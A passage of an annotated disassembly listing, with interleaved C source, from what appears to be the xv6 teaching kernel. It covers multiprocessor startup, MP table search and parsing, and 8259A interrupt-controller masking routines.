80103868: 55 push %ebp
80103869: 89 e5 mov %esp,%ebp
8010386b: 53 push %ebx
8010386c: 83 ec 24 sub $0x24,%esp
char *stack;
// Write entry code to unused memory at 0x7000.
// The linker has placed the image of entryother.S in
// _binary_entryother_start.
code = p2v(0x7000);
8010386f: c7 04 24 00 70 00 00 movl $0x7000,(%esp)
80103876: e8 aa fe ff ff call 80103725 <p2v>
8010387b: 89 45 f0 mov %eax,-0x10(%ebp)
memmove(code, _binary_entryother_start, (uint)_binary_entryother_size);
8010387e: b8 8a 00 00 00 mov $0x8a,%eax
80103883: 89 44 24 08 mov %eax,0x8(%esp)
80103887: c7 44 24 04 2c c5 10 movl $0x8010c52c,0x4(%esp)
8010388e: 80
8010388f: 8b 45 f0 mov -0x10(%ebp),%eax
80103892: 89 04 24 mov %eax,(%esp)
80103895: e8 97 1d 00 00 call 80105631 <memmove>
for(c = cpus; c < cpus+ncpu; c++){
8010389a: c7 45 f4 80 33 11 80 movl $0x80113380,-0xc(%ebp)
801038a1: e9 86 00 00 00 jmp 8010392c <startothers+0xc4>
if(c == cpus+cpunum()) // We've started already.
801038a6: e8 18 f6 ff ff call 80102ec3 <cpunum>
801038ab: 69 c0 bc 00 00 00 imul $0xbc,%eax,%eax
801038b1: 05 80 33 11 80 add $0x80113380,%eax
801038b6: 3b 45 f4 cmp -0xc(%ebp),%eax
801038b9: 74 69 je 80103924 <startothers+0xbc>
continue;
// Tell entryother.S what stack to use, where to enter, and what
// pgdir to use. We cannot use kpgdir yet, because the AP processor
// is running in low memory, so we use entrypgdir for the APs too.
stack = kalloc();
801038bb: e8 4b f2 ff ff call 80102b0b <kalloc>
801038c0: 89 45 ec mov %eax,-0x14(%ebp)
*(void**)(code-4) = stack + KSTACKSIZE;
801038c3: 8b 45 f0 mov -0x10(%ebp),%eax
801038c6: 83 e8 04 sub $0x4,%eax
801038c9: 8b 55 ec mov -0x14(%ebp),%edx
801038cc: 81 c2 00 10 00 00 add $0x1000,%edx
801038d2: 89 10 mov %edx,(%eax)
*(void**)(code-8) = mpenter;
801038d4: 8b 45 f0 mov -0x10(%ebp),%eax
801038d7: 83 e8 08 sub $0x8,%eax
801038da: c7 00 07 38 10 80 movl $0x80103807,(%eax)
*(int**)(code-12) = (void *) v2p(entrypgdir);
801038e0: 8b 45 f0 mov -0x10(%ebp),%eax
801038e3: 8d 58 f4 lea -0xc(%eax),%ebx
801038e6: c7 04 24 00 b0 10 80 movl $0x8010b000,(%esp)
801038ed: e8 26 fe ff ff call 80103718 <v2p>
801038f2: 89 03 mov %eax,(%ebx)
lapicstartap(c->id, v2p(code));
801038f4: 8b 45 f0 mov -0x10(%ebp),%eax
801038f7: 89 04 24 mov %eax,(%esp)
801038fa: e8 19 fe ff ff call 80103718 <v2p>
801038ff: 8b 55 f4 mov -0xc(%ebp),%edx
80103902: 0f b6 12 movzbl (%edx),%edx
80103905: 0f b6 d2 movzbl %dl,%edx
80103908: 89 44 24 04 mov %eax,0x4(%esp)
8010390c: 89 14 24 mov %edx,(%esp)
8010390f: e8 35 f6 ff ff call 80102f49 <lapicstartap>
// wait for cpu to finish mpmain()
while(c->started == 0)
80103914: 90 nop
80103915: 8b 45 f4 mov -0xc(%ebp),%eax
80103918: 8b 80 a8 00 00 00 mov 0xa8(%eax),%eax
8010391e: 85 c0 test %eax,%eax
80103920: 74 f3 je 80103915 <startothers+0xad>
80103922: eb 01 jmp 80103925 <startothers+0xbd>
code = p2v(0x7000);
memmove(code, _binary_entryother_start, (uint)_binary_entryother_size);
for(c = cpus; c < cpus+ncpu; c++){
if(c == cpus+cpunum()) // We've started already.
continue;
80103924: 90 nop
// The linker has placed the image of entryother.S in
// _binary_entryother_start.
code = p2v(0x7000);
memmove(code, _binary_entryother_start, (uint)_binary_entryother_size);
for(c = cpus; c < cpus+ncpu; c++){
80103925: 81 45 f4 bc 00 00 00 addl $0xbc,-0xc(%ebp)
8010392c: a1 60 39 11 80 mov 0x80113960,%eax
80103931: 69 c0 bc 00 00 00 imul $0xbc,%eax,%eax
80103937: 05 80 33 11 80 add $0x80113380,%eax
8010393c: 3b 45 f4 cmp -0xc(%ebp),%eax
8010393f: 0f 87 61 ff ff ff ja 801038a6 <startothers+0x3e>
// wait for cpu to finish mpmain()
while(c->started == 0)
;
}
}
80103945: 83 c4 24 add $0x24,%esp
80103948: 5b pop %ebx
80103949: 5d pop %ebp
8010394a: c3 ret
...
8010394c <p2v>:
8010394c: 55 push %ebp
8010394d: 89 e5 mov %esp,%ebp
8010394f: 8b 45 08 mov 0x8(%ebp),%eax
80103952: 05 00 00 00 80 add $0x80000000,%eax
80103957: 5d pop %ebp
80103958: c3 ret
80103959 <inb>:
// Routines to let C code use special x86 instructions.
static inline uchar
inb(ushort port)
{
80103959: 55 push %ebp
8010395a: 89 e5 mov %esp,%ebp
8010395c: 53 push %ebx
8010395d: 83 ec 14 sub $0x14,%esp
80103960: 8b 45 08 mov 0x8(%ebp),%eax
80103963: 66 89 45 e8 mov %ax,-0x18(%ebp)
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80103967: 0f b7 55 e8 movzwl -0x18(%ebp),%edx
8010396b: 66 89 55 ea mov %dx,-0x16(%ebp)
8010396f: 0f b7 55 ea movzwl -0x16(%ebp),%edx
80103973: ec in (%dx),%al
80103974: 89 c3 mov %eax,%ebx
80103976: 88 5d fb mov %bl,-0x5(%ebp)
return data;
80103979: 0f b6 45 fb movzbl -0x5(%ebp),%eax
}
8010397d: 83 c4 14 add $0x14,%esp
80103980: 5b pop %ebx
80103981: 5d pop %ebp
80103982: c3 ret
80103983 <outb>:
"memory", "cc");
}
static inline void
outb(ushort port, uchar data)
{
80103983: 55 push %ebp
80103984: 89 e5 mov %esp,%ebp
80103986: 83 ec 08 sub $0x8,%esp
80103989: 8b 55 08 mov 0x8(%ebp),%edx
8010398c: 8b 45 0c mov 0xc(%ebp),%eax
8010398f: 66 89 55 fc mov %dx,-0x4(%ebp)
80103993: 88 45 f8 mov %al,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80103996: 0f b6 45 f8 movzbl -0x8(%ebp),%eax
8010399a: 0f b7 55 fc movzwl -0x4(%ebp),%edx
8010399e: ee out %al,(%dx)
}
8010399f: c9 leave
801039a0: c3 ret
801039a1 <mpbcpu>:
int ncpu;
uchar ioapicid;
int
mpbcpu(void)
{
801039a1: 55 push %ebp
801039a2: 89 e5 mov %esp,%ebp
return bcpu-cpus;
801039a4: a1 64 c6 10 80 mov 0x8010c664,%eax
801039a9: 89 c2 mov %eax,%edx
801039ab: b8 80 33 11 80 mov $0x80113380,%eax
801039b0: 89 d1 mov %edx,%ecx
801039b2: 29 c1 sub %eax,%ecx
801039b4: 89 c8 mov %ecx,%eax
801039b6: c1 f8 02 sar $0x2,%eax
801039b9: 69 c0 cf 46 7d 67 imul $0x677d46cf,%eax,%eax
}
801039bf: 5d pop %ebp
801039c0: c3 ret
801039c1 <sum>:
static uchar
sum(uchar *addr, int len)
{
801039c1: 55 push %ebp
801039c2: 89 e5 mov %esp,%ebp
801039c4: 83 ec 10 sub $0x10,%esp
int i, sum;
sum = 0;
801039c7: c7 45 f8 00 00 00 00 movl $0x0,-0x8(%ebp)
for(i=0; i<len; i++)
801039ce: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
801039d5: eb 13 jmp 801039ea <sum+0x29>
sum += addr[i];
801039d7: 8b 45 fc mov -0x4(%ebp),%eax
801039da: 03 45 08 add 0x8(%ebp),%eax
801039dd: 0f b6 00 movzbl (%eax),%eax
801039e0: 0f b6 c0 movzbl %al,%eax
801039e3: 01 45 f8 add %eax,-0x8(%ebp)
sum(uchar *addr, int len)
{
int i, sum;
sum = 0;
for(i=0; i<len; i++)
801039e6: 83 45 fc 01 addl $0x1,-0x4(%ebp)
801039ea: 8b 45 fc mov -0x4(%ebp),%eax
801039ed: 3b 45 0c cmp 0xc(%ebp),%eax
801039f0: 7c e5 jl 801039d7 <sum+0x16>
sum += addr[i];
return sum;
801039f2: 8b 45 f8 mov -0x8(%ebp),%eax
}
801039f5: c9 leave
801039f6: c3 ret
801039f7 <mpsearch1>:
// Look for an MP structure in the len bytes at addr.
static struct mp*
mpsearch1(uint a, int len)
{
801039f7: 55 push %ebp
801039f8: 89 e5 mov %esp,%ebp
801039fa: 83 ec 28 sub $0x28,%esp
uchar *e, *p, *addr;
addr = p2v(a);
801039fd: 8b 45 08 mov 0x8(%ebp),%eax
80103a00: 89 04 24 mov %eax,(%esp)
80103a03: e8 44 ff ff ff call 8010394c <p2v>
80103a08: 89 45 f0 mov %eax,-0x10(%ebp)
e = addr+len;
80103a0b: 8b 45 0c mov 0xc(%ebp),%eax
80103a0e: 03 45 f0 add -0x10(%ebp),%eax
80103a11: 89 45 ec mov %eax,-0x14(%ebp)
for(p = addr; p < e; p += sizeof(struct mp))
80103a14: 8b 45 f0 mov -0x10(%ebp),%eax
80103a17: 89 45 f4 mov %eax,-0xc(%ebp)
80103a1a: eb 3f jmp 80103a5b <mpsearch1+0x64>
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
80103a1c: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp)
80103a23: 00
80103a24: c7 44 24 04 b0 8c 10 movl $0x80108cb0,0x4(%esp)
80103a2b: 80
80103a2c: 8b 45 f4 mov -0xc(%ebp),%eax
80103a2f: 89 04 24 mov %eax,(%esp)
80103a32: e8 9e 1b 00 00 call 801055d5 <memcmp>
80103a37: 85 c0 test %eax,%eax
80103a39: 75 1c jne 80103a57 <mpsearch1+0x60>
80103a3b: c7 44 24 04 10 00 00 movl $0x10,0x4(%esp)
80103a42: 00
80103a43: 8b 45 f4 mov -0xc(%ebp),%eax
80103a46: 89 04 24 mov %eax,(%esp)
80103a49: e8 73 ff ff ff call 801039c1 <sum>
80103a4e: 84 c0 test %al,%al
80103a50: 75 05 jne 80103a57 <mpsearch1+0x60>
return (struct mp*)p;
80103a52: 8b 45 f4 mov -0xc(%ebp),%eax
80103a55: eb 11 jmp 80103a68 <mpsearch1+0x71>
{
uchar *e, *p, *addr;
addr = p2v(a);
e = addr+len;
for(p = addr; p < e; p += sizeof(struct mp))
80103a57: 83 45 f4 10 addl $0x10,-0xc(%ebp)
80103a5b: 8b 45 f4 mov -0xc(%ebp),%eax
80103a5e: 3b 45 ec cmp -0x14(%ebp),%eax
80103a61: 72 b9 jb 80103a1c <mpsearch1+0x25>
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
return (struct mp*)p;
return 0;
80103a63: b8 00 00 00 00 mov $0x0,%eax
}
80103a68: c9 leave
80103a69: c3 ret
80103a6a <mpsearch>:
// 1) in the first KB of the EBDA;
// 2) in the last KB of system base memory;
// 3) in the BIOS ROM between 0xE0000 and 0xFFFFF.
static struct mp*
mpsearch(void)
{
80103a6a: 55 push %ebp
80103a6b: 89 e5 mov %esp,%ebp
80103a6d: 83 ec 28 sub $0x28,%esp
uchar *bda;
uint p;
struct mp *mp;
bda = (uchar *) P2V(0x400);
80103a70: c7 45 f4 00 04 00 80 movl $0x80000400,-0xc(%ebp)
if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){
80103a77: 8b 45 f4 mov -0xc(%ebp),%eax
80103a7a: 83 c0 0f add $0xf,%eax
80103a7d: 0f b6 00 movzbl (%eax),%eax
80103a80: 0f b6 c0 movzbl %al,%eax
80103a83: 89 c2 mov %eax,%edx
80103a85: c1 e2 08 shl $0x8,%edx
80103a88: 8b 45 f4 mov -0xc(%ebp),%eax
80103a8b: 83 c0 0e add $0xe,%eax
80103a8e: 0f b6 00 movzbl (%eax),%eax
80103a91: 0f b6 c0 movzbl %al,%eax
80103a94: 09 d0 or %edx,%eax
80103a96: c1 e0 04 shl $0x4,%eax
80103a99: 89 45 f0 mov %eax,-0x10(%ebp)
80103a9c: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80103aa0: 74 21 je 80103ac3 <mpsearch+0x59>
if((mp = mpsearch1(p, 1024)))
80103aa2: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp)
80103aa9: 00
80103aaa: 8b 45 f0 mov -0x10(%ebp),%eax
80103aad: 89 04 24 mov %eax,(%esp)
80103ab0: e8 42 ff ff ff call 801039f7 <mpsearch1>
80103ab5: 89 45 ec mov %eax,-0x14(%ebp)
80103ab8: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
80103abc: 74 50 je 80103b0e <mpsearch+0xa4>
return mp;
80103abe: 8b 45 ec mov -0x14(%ebp),%eax
80103ac1: eb 5f jmp 80103b22 <mpsearch+0xb8>
} else {
p = ((bda[0x14]<<8)|bda[0x13])*1024;
80103ac3: 8b 45 f4 mov -0xc(%ebp),%eax
80103ac6: 83 c0 14 add $0x14,%eax
80103ac9: 0f b6 00 movzbl (%eax),%eax
80103acc: 0f b6 c0 movzbl %al,%eax
80103acf: 89 c2 mov %eax,%edx
80103ad1: c1 e2 08 shl $0x8,%edx
80103ad4: 8b 45 f4 mov -0xc(%ebp),%eax
80103ad7: 83 c0 13 add $0x13,%eax
80103ada: 0f b6 00 movzbl (%eax),%eax
80103add: 0f b6 c0 movzbl %al,%eax
80103ae0: 09 d0 or %edx,%eax
80103ae2: c1 e0 0a shl $0xa,%eax
80103ae5: 89 45 f0 mov %eax,-0x10(%ebp)
if((mp = mpsearch1(p-1024, 1024)))
80103ae8: 8b 45 f0 mov -0x10(%ebp),%eax
80103aeb: 2d 00 04 00 00 sub $0x400,%eax
80103af0: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp)
80103af7: 00
80103af8: 89 04 24 mov %eax,(%esp)
80103afb: e8 f7 fe ff ff call 801039f7 <mpsearch1>
80103b00: 89 45 ec mov %eax,-0x14(%ebp)
80103b03: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
80103b07: 74 05 je 80103b0e <mpsearch+0xa4>
return mp;
80103b09: 8b 45 ec mov -0x14(%ebp),%eax
80103b0c: eb 14 jmp 80103b22 <mpsearch+0xb8>
}
return mpsearch1(0xF0000, 0x10000);
80103b0e: c7 44 24 04 00 00 01 movl $0x10000,0x4(%esp)
80103b15: 00
80103b16: c7 04 24 00 00 0f 00 movl $0xf0000,(%esp)
80103b1d: e8 d5 fe ff ff call 801039f7 <mpsearch1>
}
80103b22: c9 leave
80103b23: c3 ret
80103b24 <mpconfig>:
// Check for correct signature, calculate the checksum and,
// if correct, check the version.
// To do: check extended table checksum.
static struct mpconf*
mpconfig(struct mp **pmp)
{
80103b24: 55 push %ebp
80103b25: 89 e5 mov %esp,%ebp
80103b27: 83 ec 28 sub $0x28,%esp
struct mpconf *conf;
struct mp *mp;
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
80103b2a: e8 3b ff ff ff call 80103a6a <mpsearch>
80103b2f: 89 45 f4 mov %eax,-0xc(%ebp)
80103b32: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80103b36: 74 0a je 80103b42 <mpconfig+0x1e>
80103b38: 8b 45 f4 mov -0xc(%ebp),%eax
80103b3b: 8b 40 04 mov 0x4(%eax),%eax
80103b3e: 85 c0 test %eax,%eax
80103b40: 75 0a jne 80103b4c <mpconfig+0x28>
return 0;
80103b42: b8 00 00 00 00 mov $0x0,%eax
80103b47: e9 83 00 00 00 jmp 80103bcf <mpconfig+0xab>
conf = (struct mpconf*) p2v((uint) mp->physaddr);
80103b4c: 8b 45 f4 mov -0xc(%ebp),%eax
80103b4f: 8b 40 04 mov 0x4(%eax),%eax
80103b52: 89 04 24 mov %eax,(%esp)
80103b55: e8 f2 fd ff ff call 8010394c <p2v>
80103b5a: 89 45 f0 mov %eax,-0x10(%ebp)
if(memcmp(conf, "PCMP", 4) != 0)
80103b5d: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp)
80103b64: 00
80103b65: c7 44 24 04 b5 8c 10 movl $0x80108cb5,0x4(%esp)
80103b6c: 80
80103b6d: 8b 45 f0 mov -0x10(%ebp),%eax
80103b70: 89 04 24 mov %eax,(%esp)
80103b73: e8 5d 1a 00 00 call 801055d5 <memcmp>
80103b78: 85 c0 test %eax,%eax
80103b7a: 74 07 je 80103b83 <mpconfig+0x5f>
return 0;
80103b7c: b8 00 00 00 00 mov $0x0,%eax
80103b81: eb 4c jmp 80103bcf <mpconfig+0xab>
if(conf->version != 1 && conf->version != 4)
80103b83: 8b 45 f0 mov -0x10(%ebp),%eax
80103b86: 0f b6 40 06 movzbl 0x6(%eax),%eax
80103b8a: 3c 01 cmp $0x1,%al
80103b8c: 74 12 je 80103ba0 <mpconfig+0x7c>
80103b8e: 8b 45 f0 mov -0x10(%ebp),%eax
80103b91: 0f b6 40 06 movzbl 0x6(%eax),%eax
80103b95: 3c 04 cmp $0x4,%al
80103b97: 74 07 je 80103ba0 <mpconfig+0x7c>
return 0;
80103b99: b8 00 00 00 00 mov $0x0,%eax
80103b9e: eb 2f jmp 80103bcf <mpconfig+0xab>
if(sum((uchar*)conf, conf->length) != 0)
80103ba0: 8b 45 f0 mov -0x10(%ebp),%eax
80103ba3: 0f b7 40 04 movzwl 0x4(%eax),%eax
80103ba7: 0f b7 c0 movzwl %ax,%eax
80103baa: 89 44 24 04 mov %eax,0x4(%esp)
80103bae: 8b 45 f0 mov -0x10(%ebp),%eax
80103bb1: 89 04 24 mov %eax,(%esp)
80103bb4: e8 08 fe ff ff call 801039c1 <sum>
80103bb9: 84 c0 test %al,%al
80103bbb: 74 07 je 80103bc4 <mpconfig+0xa0>
return 0;
80103bbd: b8 00 00 00 00 mov $0x0,%eax
80103bc2: eb 0b jmp 80103bcf <mpconfig+0xab>
*pmp = mp;
80103bc4: 8b 45 08 mov 0x8(%ebp),%eax
80103bc7: 8b 55 f4 mov -0xc(%ebp),%edx
80103bca: 89 10 mov %edx,(%eax)
return conf;
80103bcc: 8b 45 f0 mov -0x10(%ebp),%eax
}
80103bcf: c9 leave
80103bd0: c3 ret
80103bd1 <mpinit>:
void
mpinit(void)
{
80103bd1: 55 push %ebp
80103bd2: 89 e5 mov %esp,%ebp
80103bd4: 83 ec 38 sub $0x38,%esp
struct mp *mp;
struct mpconf *conf;
struct mpproc *proc;
struct mpioapic *ioapic;
bcpu = &cpus[0];
80103bd7: c7 05 64 c6 10 80 80 movl $0x80113380,0x8010c664
80103bde: 33 11 80
if((conf = mpconfig(&mp)) == 0)
80103be1: 8d 45 e0 lea -0x20(%ebp),%eax
80103be4: 89 04 24 mov %eax,(%esp)
80103be7: e8 38 ff ff ff call 80103b24 <mpconfig>
80103bec: 89 45 f0 mov %eax,-0x10(%ebp)
80103bef: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80103bf3: 0f 84 9c 01 00 00 je 80103d95 <mpinit+0x1c4>
return;
ismp = 1;
80103bf9: c7 05 64 33 11 80 01 movl $0x1,0x80113364
80103c00: 00 00 00
lapic = (uint*)conf->lapicaddr;
80103c03: 8b 45 f0 mov -0x10(%ebp),%eax
80103c06: 8b 40 24 mov 0x24(%eax),%eax
80103c09: a3 7c 32 11 80 mov %eax,0x8011327c
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
80103c0e: 8b 45 f0 mov -0x10(%ebp),%eax
80103c11: 83 c0 2c add $0x2c,%eax
80103c14: 89 45 f4 mov %eax,-0xc(%ebp)
80103c17: 8b 45 f0 mov -0x10(%ebp),%eax
80103c1a: 0f b7 40 04 movzwl 0x4(%eax),%eax
80103c1e: 0f b7 c0 movzwl %ax,%eax
80103c21: 03 45 f0 add -0x10(%ebp),%eax
80103c24: 89 45 ec mov %eax,-0x14(%ebp)
80103c27: e9 f4 00 00 00 jmp 80103d20 <mpinit+0x14f>
switch(*p){
80103c2c: 8b 45 f4 mov -0xc(%ebp),%eax
80103c2f: 0f b6 00 movzbl (%eax),%eax
80103c32: 0f b6 c0 movzbl %al,%eax
80103c35: 83 f8 04 cmp $0x4,%eax
80103c38: 0f 87 bf 00 00 00 ja 80103cfd <mpinit+0x12c>
80103c3e: 8b 04 85 f8 8c 10 80 mov -0x7fef7308(,%eax,4),%eax
80103c45: ff e0 jmp *%eax
case MPPROC:
proc = (struct mpproc*)p;
80103c47: 8b 45 f4 mov -0xc(%ebp),%eax
80103c4a: 89 45 e8 mov %eax,-0x18(%ebp)
if(ncpu != proc->apicid){
80103c4d: 8b 45 e8 mov -0x18(%ebp),%eax
80103c50: 0f b6 40 01 movzbl 0x1(%eax),%eax
80103c54: 0f b6 d0 movzbl %al,%edx
80103c57: a1 60 39 11 80 mov 0x80113960,%eax
80103c5c: 39 c2 cmp %eax,%edx
80103c5e: 74 2d je 80103c8d <mpinit+0xbc>
cprintf("mpinit: ncpu=%d apicid=%d\n", ncpu, proc->apicid);
80103c60: 8b 45 e8 mov -0x18(%ebp),%eax
80103c63: 0f b6 40 01 movzbl 0x1(%eax),%eax
80103c67: 0f b6 d0 movzbl %al,%edx
80103c6a: a1 60 39 11 80 mov 0x80113960,%eax
80103c6f: 89 54 24 08 mov %edx,0x8(%esp)
80103c73: 89 44 24 04 mov %eax,0x4(%esp)
80103c77: c7 04 24 ba 8c 10 80 movl $0x80108cba,(%esp)
80103c7e: e8 1e c7 ff ff call 801003a1 <cprintf>
ismp = 0;
80103c83: c7 05 64 33 11 80 00 movl $0x0,0x80113364
80103c8a: 00 00 00
}
if(proc->flags & MPBOOT)
80103c8d: 8b 45 e8 mov -0x18(%ebp),%eax
80103c90: 0f b6 40 03 movzbl 0x3(%eax),%eax
80103c94: 0f b6 c0 movzbl %al,%eax
80103c97: 83 e0 02 and $0x2,%eax
80103c9a: 85 c0 test %eax,%eax
80103c9c: 74 15 je 80103cb3 <mpinit+0xe2>
bcpu = &cpus[ncpu];
80103c9e: a1 60 39 11 80 mov 0x80113960,%eax
80103ca3: 69 c0 bc 00 00 00 imul $0xbc,%eax,%eax
80103ca9: 05 80 33 11 80 add $0x80113380,%eax
80103cae: a3 64 c6 10 80 mov %eax,0x8010c664
cpus[ncpu].id = ncpu;
80103cb3: 8b 15 60 39 11 80 mov 0x80113960,%edx
80103cb9: a1 60 39 11 80 mov 0x80113960,%eax
80103cbe: 69 d2 bc 00 00 00 imul $0xbc,%edx,%edx
80103cc4: 81 c2 80 33 11 80 add $0x80113380,%edx
80103cca: 88 02 mov %al,(%edx)
ncpu++;
80103ccc: a1 60 39 11 80 mov 0x80113960,%eax
80103cd1: 83 c0 01 add $0x1,%eax
80103cd4: a3 60 39 11 80 mov %eax,0x80113960
p += sizeof(struct mpproc);
80103cd9: 83 45 f4 14 addl $0x14,-0xc(%ebp)
continue;
80103cdd: eb 41 jmp 80103d20 <mpinit+0x14f>
case MPIOAPIC:
ioapic = (struct mpioapic*)p;
80103cdf: 8b 45 f4 mov -0xc(%ebp),%eax
80103ce2: 89 45 e4 mov %eax,-0x1c(%ebp)
ioapicid = ioapic->apicno;
80103ce5: 8b 45 e4 mov -0x1c(%ebp),%eax
80103ce8: 0f b6 40 01 movzbl 0x1(%eax),%eax
80103cec: a2 60 33 11 80 mov %al,0x80113360
p += sizeof(struct mpioapic);
80103cf1: 83 45 f4 08 addl $0x8,-0xc(%ebp)
continue;
80103cf5: eb 29 jmp 80103d20 <mpinit+0x14f>
case MPBUS:
case MPIOINTR:
case MPLINTR:
p += 8;
80103cf7: 83 45 f4 08 addl $0x8,-0xc(%ebp)
continue;
80103cfb: eb 23 jmp 80103d20 <mpinit+0x14f>
default:
cprintf("mpinit: unknown config type %x\n", *p);
80103cfd: 8b 45 f4 mov -0xc(%ebp),%eax
80103d00: 0f b6 00 movzbl (%eax),%eax
80103d03: 0f b6 c0 movzbl %al,%eax
80103d06: 89 44 24 04 mov %eax,0x4(%esp)
80103d0a: c7 04 24 d8 8c 10 80 movl $0x80108cd8,(%esp)
80103d11: e8 8b c6 ff ff call 801003a1 <cprintf>
ismp = 0;
80103d16: c7 05 64 33 11 80 00 movl $0x0,0x80113364
80103d1d: 00 00 00
bcpu = &cpus[0];
if((conf = mpconfig(&mp)) == 0)
return;
ismp = 1;
lapic = (uint*)conf->lapicaddr;
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
80103d20: 8b 45 f4 mov -0xc(%ebp),%eax
80103d23: 3b 45 ec cmp -0x14(%ebp),%eax
80103d26: 0f 82 00 ff ff ff jb 80103c2c <mpinit+0x5b>
default:
cprintf("mpinit: unknown config type %x\n", *p);
ismp = 0;
}
}
if(!ismp){
80103d2c: a1 64 33 11 80 mov 0x80113364,%eax
80103d31: 85 c0 test %eax,%eax
80103d33: 75 1d jne 80103d52 <mpinit+0x181>
// Didn't like what we found; fall back to no MP.
ncpu = 1;
80103d35: c7 05 60 39 11 80 01 movl $0x1,0x80113960
80103d3c: 00 00 00
lapic = 0;
80103d3f: c7 05 7c 32 11 80 00 movl $0x0,0x8011327c
80103d46: 00 00 00
ioapicid = 0;
80103d49: c6 05 60 33 11 80 00 movb $0x0,0x80113360
return;
80103d50: eb 44 jmp 80103d96 <mpinit+0x1c5>
}
if(mp->imcrp){
80103d52: 8b 45 e0 mov -0x20(%ebp),%eax
80103d55: 0f b6 40 0c movzbl 0xc(%eax),%eax
80103d59: 84 c0 test %al,%al
80103d5b: 74 39 je 80103d96 <mpinit+0x1c5>
// Bochs doesn't support IMCR, so this doesn't run on Bochs.
// But it would on real hardware.
outb(0x22, 0x70); // Select IMCR
80103d5d: c7 44 24 04 70 00 00 movl $0x70,0x4(%esp)
80103d64: 00
80103d65: c7 04 24 22 00 00 00 movl $0x22,(%esp)
80103d6c: e8 12 fc ff ff call 80103983 <outb>
outb(0x23, inb(0x23) | 1); // Mask external interrupts.
80103d71: c7 04 24 23 00 00 00 movl $0x23,(%esp)
80103d78: e8 dc fb ff ff call 80103959 <inb>
80103d7d: 83 c8 01 or $0x1,%eax
80103d80: 0f b6 c0 movzbl %al,%eax
80103d83: 89 44 24 04 mov %eax,0x4(%esp)
80103d87: c7 04 24 23 00 00 00 movl $0x23,(%esp)
80103d8e: e8 f0 fb ff ff call 80103983 <outb>
80103d93: eb 01 jmp 80103d96 <mpinit+0x1c5>
struct mpproc *proc;
struct mpioapic *ioapic;
bcpu = &cpus[0];
if((conf = mpconfig(&mp)) == 0)
return;
80103d95: 90 nop
// Bochs doesn't support IMCR, so this doesn't run on Bochs.
// But it would on real hardware.
outb(0x22, 0x70); // Select IMCR
outb(0x23, inb(0x23) | 1); // Mask external interrupts.
}
}
80103d96: c9 leave
80103d97: c3 ret
80103d98 <outb>:
"memory", "cc");
}
static inline void
outb(ushort port, uchar data)
{
80103d98: 55 push %ebp
80103d99: 89 e5 mov %esp,%ebp
80103d9b: 83 ec 08 sub $0x8,%esp
80103d9e: 8b 55 08 mov 0x8(%ebp),%edx
80103da1: 8b 45 0c mov 0xc(%ebp),%eax
80103da4: 66 89 55 fc mov %dx,-0x4(%ebp)
80103da8: 88 45 f8 mov %al,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80103dab: 0f b6 45 f8 movzbl -0x8(%ebp),%eax
80103daf: 0f b7 55 fc movzwl -0x4(%ebp),%edx
80103db3: ee out %al,(%dx)
}
80103db4: c9 leave
80103db5: c3 ret
80103db6 <picsetmask>:
// Initial IRQ mask has interrupt 2 enabled (for slave 8259A).
static ushort irqmask = 0xFFFF & ~(1<<IRQ_SLAVE);
static void
picsetmask(ushort mask)
{
80103db6: 55 push %ebp
80103db7: 89 e5 mov %esp,%ebp
80103db9: 83 ec 0c sub $0xc,%esp
80103dbc: 8b 45 08 mov 0x8(%ebp),%eax
80103dbf: 66 89 45 fc mov %ax,-0x4(%ebp)
irqmask = mask;
80103dc3: 0f b7 45 fc movzwl -0x4(%ebp),%eax
80103dc7: 66 a3 00 c0 10 80 mov %ax,0x8010c000
outb(IO_PIC1+1, mask);
80103dcd: 0f b7 45 fc movzwl -0x4(%ebp),%eax
80103dd1: 0f b6 c0 movzbl %al,%eax
80103dd4: 89 44 24 04 mov %eax,0x4(%esp)
80103dd8: c7 04 24 21 00 00 00 movl $0x21,(%esp)
80103ddf: e8 b4 ff ff ff call 80103d98 <outb>
outb(IO_PIC2+1, mask >> 8);
80103de4: 0f b7 45 fc movzwl -0x4(%ebp),%eax
80103de8: 66 c1 e8 08 shr $0x8,%ax
80103dec: 0f b6 c0 movzbl %al,%eax
80103def: 89 44 24 04 mov %eax,0x4(%esp)
80103df3: c7 04 24 a1 00 00 00 movl $0xa1,(%esp)
80103dfa: e8 99 ff ff ff call 80103d98 <outb>
}
80103dff: c9 leave
80103e00: c3 ret
80103e01 <picenable>:
void
picenable(int irq)
{
80103e01: 55 push %ebp
80103e02: 89 e5 mov %esp,%ebp
80103e04: 53 push %ebx
80103e05: 83 ec 04 sub $0x4,%esp
picsetmask(irqmask & ~(1<<irq));
80103e08: 8b 45 08 mov 0x8(%ebp),%eax
80103e0b: ba 01 00 00 00 mov $0x1,%edx
80103e10: 89 d3 mov %edx,%ebx
80103e12: 89 c1 mov %eax,%ecx
80103e14: d3 e3 shl %cl,%ebx
80103e16: 89 d8 mov %ebx,%eax
80103e18: 89 c2 mov %eax,%edx
80103e1a: f7 d2 not %edx
80103e1c: 0f b7 05 00 c0 10 80 movzwl 0x8010c000,%eax
80103e23: 21 d0 and %edx,%eax
80103e25: 0f b7 c0 movzwl %ax,%eax
80103e28: 89 04 24 mov %eax,(%esp)
80103e2b: e8 86 ff ff ff call 80103db6 <picsetmask>
}
80103e30: 83 c4 04 add $0x4,%esp
80103e33: 5b pop %ebx
80103e34: 5d pop %ebp
80103e35: c3 ret
80103e36 <picinit>:
// Initialize the 8259A interrupt controllers.
void
picinit(void)
{
